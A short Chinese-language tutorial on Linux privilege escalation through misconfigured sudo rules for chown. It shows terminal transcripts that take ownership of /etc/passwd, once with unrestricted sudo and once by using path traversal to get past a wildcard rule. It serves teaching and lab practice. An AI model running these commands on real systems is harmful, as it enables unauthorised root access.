概述
chown是Linux环境下用于设置文件所有者和文件关联组的命令。当以root权限运行chown时,有多种可能性可以进行提权。
示例1
用户可以通过sudo运行chown,且没有任何命令行参数限制
test@0f2a4861111e:~$ sudo -l
Matching Defaults entries for test on 0f2a4861111e:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on 0f2a4861111e:
(ALL) NOPASSWD: /usr/bin/chown
test@0f2a4861111e:~$
运行以下命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权,步骤可见这里。
test@0f2a4861111e:~$ sudo chown test /etc/passwd
test@0f2a4861111e:~$ ls -alrt /etc/passwd
-rw-r--r--. 1 test root 1314 Sep 14 07:18 /etc/passwd
test@0f2a4861111e:~$
示例2
用户可以通过sudo运行chown,且命令行参数包含匹配符('*')
test@518f56a2c854:~$ sudo -l
Matching Defaults entries for test on 518f56a2c854:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on 518f56a2c854:
(ALL) NOPASSWD: /usr/bin/chown test /backup/data/*
test@518f56a2c854:~$
运行以下命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权,步骤可见这里。
test@518f56a2c854:~$ sudo chown test /backup/data/../../etc/passwd
test@518f56a2c854:~$ ls -alrt /etc/passwd
-rw-r--r--. 1 test root 1314 Sep 14 07:18 /etc/passwd
test@518f56a2c854:~$
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。